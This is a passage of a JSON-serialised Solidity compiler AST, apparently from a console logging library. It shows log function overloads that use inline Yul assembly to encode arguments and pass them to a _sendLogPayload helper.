ffset":false,"isSlot":false,"src":"274625:2:22","valueSize":1},{"declaration":42908,"isOffset":false,"isSlot":false,"src":"274655:2:22","valueSize":1},{"declaration":42911,"isOffset":false,"isSlot":false,"src":"274685:2:22","valueSize":1},{"declaration":42914,"isOffset":false,"isSlot":false,"src":"274715:2:22","valueSize":1},{"declaration":42886,"isOffset":false,"isSlot":false,"src":"274861:2:22","valueSize":1},{"declaration":42888,"isOffset":false,"isSlot":false,"src":"274890:2:22","valueSize":1},{"declaration":42890,"isOffset":false,"isSlot":false,"src":"274984:2:22","valueSize":1},{"declaration":42892,"isOffset":false,"isSlot":false,"src":"274950:2:22","valueSize":1}],"id":42916,"nodeType":"InlineAssembly","src":"274157:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42918,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"275022:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":42919,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"275028:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":42917,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"275006:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42920,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"275006:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42921,"nodeType":"ExpressionStatement","src":"275006:27:22"},{"AST":{"nativeSrc":"275052:214:22","nodeType":"YulBlock","src":"275052:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"275073:4:22","nodeType":"YulLiteral","src":"275073:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"275079:2:22","nodeType":"YulIdentifier","src":"275079:2:22"}],"functionName":{"name":"mstore","nativeSrc":"275066:6:22","nodeType":"YulIdentifier","src":"275066:6:22"},"nativeSrc":"275066:16:22","nodeType":"YulFunctionCall","src":"275066:16:22"},"nativeSrc":"275066:16:22","nodeType":"YulExpressionStatement","src":"275066:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"275102:4:22","nodeType":"YulLiteral","src":"275102:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"275108:2:22","nodeType":"YulIdentifier","src":"275108:2:22"}],"functionName":{"name":"mstore","nativeSrc":"275095:6:22","nodeType":"YulIdentifier","src":"275095:6:22"},"nativeSrc":"275095:16:22","nodeType":"YulFunctionCall","src":"275095:16:22"},"nativeSrc":"275095:16:22","nodeType":"YulExpressionStatement","src":"275095:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"275131:4:22","nodeType":"YulLiteral","src":"275131:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"275137:2:22","nodeType":"YulIdentifier","src":"275137:2:22"}],"functionName":{"name":"mstore","nativeSrc":"275124:6:22","nodeType":"YulIdentifier","src":"275124:6:22"},"nativeSrc":"275124:16:22","nodeType":"YulFunctionCall","src":"275124:16:22"},"nativeSrc":"275124:16:22","nodeType":"YulExpressionStatement","src":"275124:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"275160:4:22","nodeType":"YulLiteral","src":"275160:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"275166:2:22","nodeType":"YulIdentifier","src":"275166:2:22"}],"functionName":{"name":"mstore","nativeSrc":"275153:6:22","nodeType":"YulIdentifier","src":"275153:6:22"},"nativeSrc":"275153:16:22","nodeType":"YulFunctionCall","src":"275153:16:22"},"nativeSrc":"275153:16:22","nodeType":"YulExpressionStatement","src":"275153:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"275189:4:22","nodeType":"YulLiteral","src":"275189:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"275195:2:22","nodeType":"YulIdentifier","src":"275195:2:22"}],"functionName":{"name":"mstore","nativeSrc":"275182:6:22","nodeType":"YulIdentifier","src":"275182:6:22"},"nativeSrc":"275182:16:22","nodeType":"YulFunctionCall","src":"275182:16:22"},"nativeSrc":"275182:16:22","nodeType":"YulExpressionStatement","src":"275182:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"275218:4:22","nodeType":"YulLiteral","src":"275218:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"275224:2:22","nodeType":"YulIdentifier","src":"275224:2:22"}],"functionName":{"name":"mstore","nativeSrc":"275211:6:22","nodeType":"YulIdentifier","src":"275211:6:22"},"nativeSrc":"275211:16:22","nodeType":"YulFunctionCall","src":"275211:16:22"},"nativeSrc":"275211:16:22","nodeType":"YulExpressionStatement","src":"275211:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"275247:4:22","nodeType":"YulLiteral","src":"275247:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"275253:2:22","nodeType":"YulIdentifier","src":"275253:2:22"}],"functionName":{"name":"mstore","nativeSrc":"275240:6:22","nodeType":"YulIdentifier","src":"275240:6:22"},"nativeSrc":"275240:16:22","nodeType":"YulFunctionCall","src":"275240:16:22"},"nativeSrc":"275240:16:22","nodeType":"YulExpressionStatement","src":"275240:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42896,"isOffset":false,"isSlot":false,"src":"275079:2:22","valueSize":1},{"declaration":42899,"isOffset":false,"isSlot":false,"src":"275108:2:22","valueSize":1},{"declaration":42902,"isOffset":false,"isSlot":false,"src":"275137:2:22","valueSize":1},{"declaration":42905,"isOffset":false,"isSlot":false,"src":"275166:2:22","valueSize":1},{"declaration":42908,"isOffset":false,"isSlot":false,"src":"275195:2:22","valueSize":1},{"declaration":42911,"isOffset":false,"isSlot":false,"src":"275224:2:22","valueSize":1},{"declaration":42914,"isOffset":false,"isSlot":false,"src":"275253:2:22","valueSize":1}],"id":42922,"nodeType":"InlineAssembly","src":"275043:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"273941:3:22","parameters":{"id":42893,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42886,"mutability":"mutable","name":"p0","nameLocation":"273953:2:22","nodeType":"VariableDeclaration","scope":42924,"src":"273945:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42885,"name":"uint256","nodeType":"ElementaryTypeName","src":"273945:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42888,"mutability":"mutable","name":"p1","nameLocation":"273965:2:22","nodeType":"VariableDeclaration","scope":42924,"src":"273957:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42887,"name":"uint256","nodeType":"ElementaryTypeName","src":"273957:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42890,"mutability":"mutable","name":"p2","nameLocation":"273977:2:22","nodeType":"VariableDeclaration","scope":42924,"src":"273969:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42889,"name":"bytes32","nodeType":"ElementaryTypeName","src":"273969:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":42892,"mutability":"mutable","name":"p3","nameLocation":"273989:2:22","nodeType":"VariableDeclaration","scope":42924,"src":"273981:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":42891,"name":"address","nodeType":"ElementaryTypeName","src":"273981:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"273944:48:22"},"returnParameters":{"id":42894,"nodeType":"ParameterList","parameters":[],"src":"274007:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42964,"nodeType":"FunctionDefinition","src":"275278:1334:22","nodes":[],"body":{"id":42963,"nodeType":"Block","src":"275350:1262:22","nodes":[],"statements":[{"assignments":[42936],"declarations":[{"constant":false,"id":42936,"mutability":"mutable","name":"m0","nameLocation":"275368:2:22","nodeType":"VariableDeclaration","scope":42963,"src":"275360:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42935,"name":"bytes32","nodeType":"ElementaryTypeName","src":"275360:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42937,"nodeType":"VariableDeclarationStatement","src":"275360:10:22"},{"assignments":[42939],"declarations":[{"constant":false,"id":42939,"mutability":"mutable","name":"m1","nameLocation":"275388:2:22","nodeType":"VariableDeclaration","scope":42963,"src":"275380:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42938,"name":"bytes32","nodeType":"ElementaryTypeName","src":"275380:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42940,"nodeType":"VariableDeclarationStatement","src":"275380:10:22"},{"assignments":[42942],"declarations":[{"constant":false,"id":42942,"mutability":"mutable","name":"m2","nameLocation":"275408:2:22","nodeType":"VariableDeclaration","scope":42963,"src":"275400:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42941,"name":"bytes32","nodeType":"ElementaryTypeName","src":"275400:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42943,"nodeType":"VariableDeclarationStatement","src":"275400:10:22"},{"assignments":[42945],"declarations":[{"constant":false,"id":42945,"mutability":"mutable","name":"m3","nameLocation":"275428:2:22","nodeType":"VariableDeclaration","scope":42963,"src":"275420:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42944,"name":"bytes32","nodeType":"ElementaryTypeName","src":"275420:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42946,"nodeType":"VariableDeclarationStatement","src":"275420:10:22"},{"assignments":[42948],"declarations":[{"constant":false,"id":42948,"mutability":"mutable","name":"m4","nameLocation":"275448:2:22","nodeType":"VariableDeclaration","scope":42963,"src":"275440:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42947,"name":"bytes32","nodeType":"ElementaryTypeName","src":"275440:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42949,"nodeType":"VariableDeclarationStatement","src":"275440:10:22"},{"assignments":[42951],"declarations":[{"constant":false,"id":42951,"mutability":"mutable","name":"m5","nameLocation":"275468:2:22","nodeType":"VariableDeclaration","scope":42963,"src":"275460:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42950,"name":"bytes32","nodeType":"ElementaryTypeName","src":"275460:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42952,"nodeType":"VariableDeclarationStatement","src":"275460:10:22"},{"assignments":[42954],"declarations":[{"constant":false,"id":42954,"mutability":"mutable","name":"m6","nameLocation":"275488:2:22","nodeType":"VariableDeclaration","scope":42963,"src":"275480:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42953,"name":"bytes32","nodeType":"ElementaryTypeName","src":"275480:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42955,"nodeType":"VariableDeclarationStatement","src":"275480:10:22"},{"AST":{"nativeSrc":"275509:828:22","nodeType":"YulBlock","src":"275509:828:22","statements":[{"body":{"nativeSrc":"275552:313:22","nodeType":"YulBlock","src":"275552:313:22","statements":[{"nativeSrc":"275570:15:22","nodeType":"YulVariableDeclaration","src":"275570:15:22","value":{"kind":"number","nativeSrc":"275584:1:22","nodeType":"YulLiteral","src":"275584:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"275574:6:22","nodeType":"YulTypedName","src":"275574:6:22","type":""}]},{"body":{"nativeSrc":"275655:40:22","nodeType":"YulBlock","src":"275655:40:22","statements":[{"body":{"nativeSrc":"275684:9:22","nodeType":"YulBlock","src":"275684:9:22","statements":[{"nativeSrc":"275686:5:22","nodeType":"YulBreak","src":"275686:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"275672:6:22","nodeType":"YulIdentifier","src":"275672:6:22"},{"name":"w","nativeSrc":"275680:1:22","nodeType":"YulIdentifier","src":"275680:1:22"}],"functionName":{"name":"byte","nativeSrc":"275667:4:22","nodeType":"YulIdentifier","src":"275667:4:22"},"nativeSrc":"275667:15:22","nodeType":"YulFunctionCall","src":"275667:15:22"}],"functionName":{"name":"iszero","nativeSrc":"275660:6:22","nodeType":"YulIdentifier","src":"275660:6:22"},"nativeSrc":"275660:23:22","nodeType":"YulFunctionCall","src":"275660:23:22"},"nativeSrc":"275657:36:22","nodeType":"YulIf","src":"275657:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"275612:6:22","nodeType":"YulIdentifier","src":"275612:6:22"},{"kind":"number","nativeSrc":"275620:4:22","nodeType":"YulLiteral","src":"275620:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"275609:2:22","nodeType":"YulIdentifier","src":"275609:2:22"},"nativeSrc":"275609:16:22","nodeType":"YulFunctionCall","src":"275609:16:22"},"nativeSrc":"275602:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"275626:28:22","nodeType":"YulBlock","src":"275626:28:22","statements":[{"nativeSrc":"275628:24:22","nodeType":"YulAssignment","src":"275628:24:22","value":{"arguments":[{"name":"length","nativeSrc":"275642:6:22","nodeType":"YulIdentifier","src":"275642:6:22"},{"kind":"number","nativeSrc":"275650:1:22","nodeType":"YulLiteral","src":"275650:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"275638:3:22","nodeType":"YulIdentifier","src":"275638:3:22"},"nativeSrc":"275638:14:22","nodeType":"YulFunctionCall","src":"275638:14:22"},"variableNames":[{"name":"length","nativeSrc":"275628:6:22","nodeType":"YulIdentifier","src":"275628:6:22"}]}]},"pre":{"nativeSrc":"275606:2:22","nodeType":"YulBlock","src":"275606:2:22","statements":[]},"src":"275602:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"275719:3:22","nodeType":"YulIdentifier","src":"275719:3:22"},{"name":"length","nativeSrc":"275724:6:22","nodeType":"YulIdentifier","src":"275724:6:22"}],"functionName":{"name":"mstore","nativeSrc":"275712:6:22","nodeType":"YulIdentifier","src":"275712:6:22"},"nativeSrc":"275712:19:22","nodeType":"YulFunctionCall","src":"275712:19:22"},"nativeSrc":"275712:19:22","nodeType":"YulExpressionStatement","src":"275712:19:22"},{"nativeSrc":"275748:37:22","nodeType":"YulVariableDeclaration","src":"275748:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"275765:3:22","nodeType":"YulLiteral","src":"275765:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"275774:1:22","nodeType":"YulLiteral","src":"275774:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"275777:6:22","nodeType":"YulIdentifier","src":"275777:6:22"}],"functionName":{"name":"shl","nativeSrc":"275770:3:22","nodeType":"YulIdentifier","src":"275770:3:22"},"nativeSrc":"275770:14:22","nodeType":"YulFunctionCall","src":"275770:14:22"}],"functionName":{"name":"sub","nativeSrc":"275761:3:22","nodeType":"YulIdentifier","src":"275761:3:22"},"nativeSrc":"275761:24:22","nodeType":"YulFunctionCall","src":"275761:24:22"},"variables":[{"name":"shift","nativeSrc":"275752:5:22","nodeType":"YulTypedName","src":"275752:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"275813:3:22","nodeType":"YulIdentifier","src":"275813:3:22"},{"kind":"number","nativeSrc":"275818:4:22","nodeType":"YulLiteral","src":"275818:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"275809:3:22","nodeType":"YulIdentifier","src":"275809:3:22"},"nativeSrc":"275809:14:22","nodeType":"YulFunctionCall","src":"275809:14:22"},{"arguments":[{"name":"shift","nativeSrc":"275829:5:22","nodeType":"YulIdentifier","src":"275829:5:22"},{"arguments":[{"name":"shift","nativeSrc":"275840:5:22","nodeType":"YulIdentifier","src":"275840:5:22"},{"name":"w","nativeSrc":"275847:1:22","nodeType":"YulIdentifier","src":"275847:1:22"}],"functionName":{"name":"shr","nativeSrc":"275836:3:22","nodeType":"YulIdentifier","src":"275836:3:22"},"nativeSrc":"275836:13:22","nodeType":"YulFunctionCall","src":"275836:13:22"}],"functionName":{"name":"shl","nativeSrc":"275825:3:22","nodeType":"YulIdentifier","src":"275825:3:22"},"nativeSrc":"275825:25:22","nodeType":"YulFunctionCall","src":"275825:25:22"}],"functionName":{"name":"mstore","nativeSrc":"275802:6:22","nodeType":"YulIdentifier","src":"275802:6:22"},"nativeSrc":"275802:49:22","nodeType":"YulFunctionCall","src":"275802:49:22"},"nativeSrc":"275802:49:22","nodeType":"YulExpressionStatement","src":"275802:49:22"}]},"name":"writeString","nativeSrc":"275523:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"275544:3:22","nodeType":"YulTypedName","src":"275544:3:22","type":""},{"name":"w","nativeSrc":"275549:1:22","nodeType":"YulTypedName","src":"275549:1:22","type":""}],"src":"275523:342:22"},{"nativeSrc":"275878:17:22","nodeType":"YulAssignment","src":"275878:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"275890:4:22","nodeType":"YulLiteral","src":"275890:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"275884:5:22","nodeType":"YulIdentifier","src":"275884:5:22"},"nativeSrc":"275884:11:22","nodeType":"YulFunctionCall","src":"275884:11:22"},"variableNames":[{"name":"m0","nativeSrc":"275878:2:22","nodeType":"YulIdentifier","src":"275878:2:22"}]},{"nativeSrc":"275908:17:22","nodeType":"YulAssignment","src":"275908:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"275920:4:22","nodeType":"YulLiteral","src":"275920:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"275914:5:22","nodeType":"YulIdentifier","src":"275914:5:22"},"nativeSrc":"275914:11:22","nodeType":"YulFunctionCall","src":"275914:11:22"},"variableNames":[{"name":"m1","nativeSrc":"275908:2:22","nodeType":"YulIdentifier","src":"275908:2:22"}]},{"nativeSrc":"275938:17:22","nodeType":"YulAssignment","src":"275938:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"275950:4:22","nodeType":"YulLiteral","src":"275950:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"275944:5:22","nodeType":"YulIdentifier","src":"275944:5:22"},"nativeSrc":"275944:11:22","nodeType":"YulFunctionCall","src":"275944:11:22"},"variableNames":[{"name":"m2","nativeSrc":"275938:2:22","nodeType":"YulIdentifier","src":"275938:2:22"}]},{"nativeSrc":"275968:17:22","nodeType":"YulAssignment","src":"275968:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"275980:4:22","nodeType":"YulLiteral","src":"275980:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"275974:5:22","nodeType":"YulIdentifier","src":"275974:5:22"},"nativeSrc":"275974:11:22","nodeType":"YulFunctionCall","src":"275974:11:22"},"variableNames":[{"name":"m3","nativeSrc":"275968:2:22","nodeType":"YulIdentifier","src":"275968:2:22"}]},{"nativeSrc":"275998:17:22","nodeType":"YulAssignment","src":"275998:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"276010:4:22","nodeType":"YulLiteral","src":"276010:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"276004:5:22","nodeType":"YulIdentifier","src":"276004:5:22"},"nativeSrc":"276004:11:22","nodeType":"YulFunctionCall","src":"276004:11:22"},"variableNames":[{"name":"m4","nativeSrc":"275998:2:22","nodeType":"YulIdentifier","src":"275998:2:22"}]},{"nativeSrc":"276028:17:22","nodeType":"YulAssignment","src":"276028:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"276040:4:22","nodeType":"YulLiteral","src":"276040:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"276034:5:22","nodeType":"YulIdentifier","src":"276034:5:22"},"nativeSrc":"276034:11:22","nodeType":"YulFunctionCall","src":"276034:11:22"},"variableNames":[{"name":"m5","nativeSrc":"276028:2:22","nodeType":"YulIdentifier","src":"276028:2:22"}]},{"nativeSrc":"276058:17:22","nodeType":"YulAssignment","src":"276058:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"276070:4:22","nodeType":"YulLiteral","src":"276070:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"276064:5:22","nodeType":"YulIdentifier","src":"276064:5:22"},"nativeSrc":"276064:11:22","nodeType":"YulFunctionCall","src":"276064:11:22"},"variableNames":[{"name":"m6","nativeSrc":"276058:2:22","nodeType":"YulIdentifier","src":"276058:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"276158:4:22","nodeType":"YulLiteral","src":"276158:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"276164:10:22","nodeType":"YulLiteral","src":"276164:10:22","type":"","value":"0x7af6ab25"}],"functionName":{"name":"mstore","nativeSrc":"276151:6:22","nodeType":"YulIdentifier","src":"276151:6:22"},"nativeSrc":"276151:24:22","nodeType":"YulFunctionCall","src":"276151:24:22"},"nativeSrc":"276151:24:22","nodeType":"YulExpressionStatement","src":"276151:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"276195:4:22","nodeType":"YulLiteral","src":"276195:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"276201:2:22","nodeType":"YulIdentifier","src":"276201:2:22"}],"functionName":{"name":"mstore","nativeSrc":"276188:6:22","nodeType":"YulIdentifier","src":"276188:6:22"},"nativeSrc":"276188:16:22","nodeType":"YulFunctionCall","src":"276188:16:22"},"nativeSrc":"276188:16:22","nodeType":"YulExpressionStatement","src":"276188:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"276224:4:22","nodeType":"YulLiteral","src":"276224:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"276230:2:22","nodeType":"YulIdentifier","src":"276230:2:22"}],"functionName":{"name":"mstore","nativeSrc":"276217:6:22","nodeType":"YulIdentifier","src":"276217:6:22"},"nativeSrc":"276217:16:22","nodeType":"YulFunctionCall","src":"276217:16:22"},"nativeSrc":"276217:16:22","nodeType":"YulExpressionStatement","src":"276217:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"276253:4:22","nodeType":"YulLiteral","src":"276253:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"276259:4:22","nodeType":"YulLiteral","src":"276259:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"276246:6:22","nodeType":"YulIdentifier","src":"276246:6:22"},"nativeSrc":"276246:18:22","nodeType":"YulFunctionCall","src":"276246:18:22"},"nativeSrc":"276246:18:22","nodeType":"YulExpressionStatement","src":"276246:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"276284:4:22","nodeType":"YulLiteral","src":"276284:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"276290:2:22","nodeType":"YulIdentifier","src":"276290:2:22"}],"functionName":{"name":"mstore","nativeSrc":"276277:6:22","nodeType":"YulIdentifier","src":"276277:6:22"},"nativeSrc":"276277:16:22","nodeType":"YulFunctionCall","src":"276277:16:22"},"nativeSrc":"276277:16:22","nodeType":"YulExpressionStatement","src":"276277:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"276318:4:22","nodeType":"YulLiteral","src":"276318:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"276324:2:22","nodeType":"YulIdentifier","src":"276324:2:22"}],"functionName":{"name":"writeString","nativeSrc":"276306:11:22","nodeType":"YulIdentifier","src":"276306:11:22"},"nativeSrc":"276306:21:22","nodeType":"YulFunctionCall","src":"276306:21:22"},"nativeSrc":"276306:21:22","nodeType":"YulExpressionStatement","src":"276306:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42936,"isOffset":false,"isSlot":false,"src":"275878:2:22","valueSize":1},{"declaration":42939,"isOffset":false,"isSlot":false,"src":"275908:2:22","valueSize":1},{"declaration":42942,"isOffset":false,"isSlot":false,"src":"275938:2:22","valueSize":1},{"declaration":42945,"isOffset":false,"isSlot":false,"src":"275968:2:22","valueSize":1},{"declaration":42948,"isOffset":false,"isSlot":false,"src":"275998:2:22","valueSize":1},{"declaration":42951,"isOffset":false,"isSlot":false,"src":"276028:2:22","valueSize":1},{"declaration":42954,"isOffset":false,"isSlot":false,"src":"276058:2:22","valueSize":1},{"declaration":42926,"isOffset":false,"isSlot":false,"src":"276201:2:22","valueSize":1},{"declaration":42928,"isOffset":false,"isSlot":false,"src":"276230:2:22","valueSize":1},{"declaration":42930,"isOffset":false,"isSlot":false,"src":"276324:2:22","valueSize":1},{"declaration":42932,"isOffset":false,"isSlot":false,"src":"276290:2:22","valueSize":1}],"id":42956,"nodeType":"InlineAssembly","src":"275500:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42958,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"276362:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":42959,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"276368:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":42957,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"276346:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42960,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"276346:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42961,"nodeType":"ExpressionStatement","src":"276346:27:22"},{"AST":{"nativeSrc":"276392:214:22","nodeType":"YulBlock","src":"276392:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"276413:4:22","nodeType":"YulLiteral","src":"276413:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"276419:2:22","nodeType":"YulIdentifier","src":"276419:2:22"}],"functionName":{"name":"mstore","nativeSrc":"276406:6:22","nodeType":"YulIdentifier","src":"276406:6:22"},"nativeSrc":"276406:16:22","nodeType":"YulFunctionCall","src":"276406:16:22"},"nativeSrc":"276406:16:22","nodeType":"YulExpressionStatement","src":"276406:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"276442:4:22","nodeType":"YulLiteral","src":"276442:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"276448:2:22","nodeType":"YulIdentifier","src":"276448:2:22"}],"functionName":{"name":"mstore","nativeSrc":"276435:6:22","nodeType":"YulIdentifier","src":"276435:6:22"},"nativeSrc":"276435:16:22","nodeType":"YulFunctionCall","src":"276435:16:22"},"nativeSrc":"276435:16:22","nodeType":"YulExpressionStatement","src":"276435:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"276471:4:22","nodeType":"YulLiteral","src":"276471:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"276477:2:22","nodeType":"YulIdentifier","src":"276477:2:22"}],"functionName":{"name":"mstore","nativeSrc":"276464:6:22","nodeType":"YulIdentifier","src":"276464:6:22"},"nativeSrc":"276464:16:22","nodeType":"YulFunctionCall","src":"276464:16:22"},"nativeSrc":"276464:16:22","nodeType":"YulExpressionStatement","src":"276464:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"276500:4:22","nodeType":"YulLiteral","src":"276500:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"276506:2:22","nodeType":"YulIdentifier","src":"276506:2:22"}],"functionName":{"name":"mstore","nativeSrc":"276493:6:22","nodeType":"YulIdentifier","src":"276493:6:22"},"nativeSrc":"276493:16:22","nodeType":"YulFunctionCall","src":"276493:16:22"},"nativeSrc":"276493:16:22","nodeType":"YulExpressionStatement","src":"276493:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"276529:4:22","nodeType":"YulLiteral","src":"276529